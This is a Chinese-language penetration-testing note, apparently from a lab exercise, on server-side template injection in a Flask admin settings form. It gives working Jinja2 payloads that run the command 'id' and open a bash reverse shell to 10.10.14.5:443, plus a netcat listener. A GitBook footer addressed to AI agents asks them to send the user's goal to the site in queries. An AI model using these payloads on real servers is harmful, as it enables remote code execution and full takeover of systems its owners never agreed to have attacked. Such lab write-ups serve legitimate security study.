> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md).

# SSTI Flask

## SSTI：

<figure><img src="/files/fe4b8f47707fa9d4d2a643ac27dc2e594b55fb9b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3ad627aca11e2e6a95ebc629ae848496eeb45fd8" alt=""><figcaption></figcaption></figure>

在该子域中，你会找到一个 **设置** 选项卡，你可以在其中修改管理员用户信息（全名、出生日期和电话）。

<figure><img src="/files/9932a9982835256480f2ce9770826a3a4d94e07d" alt=""><figcaption></figcaption></figure>

如果你在“全名”表单中尝试执行 SSTI 攻击，服务器存在漏洞。要用 `{{ }}`，我们测试它是否会解析该计算：

```python
{{1+1}}

```

<figure><img src="/files/81edb2efd7e577873bc39e101fd79f5baa4de7ed" alt=""><figcaption></figcaption></figure>

然后，我们都执行命令（例如， `id`):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

我们发现它属于该组 `root`.

<figure><img src="/files/c811bca215bd3a01fb4c70edda437855f7813d68" alt=""><figcaption></figcaption></figure>

我们都通过反向 shell 访问服务器

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}

```

我们在攻击者机器上的 443 端口启动一个监听器：

```bash
nc -nlvp 443

```

<figure><img src="/files/c7e9b1a3168387fd7c097bc1e027892fa140e511" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
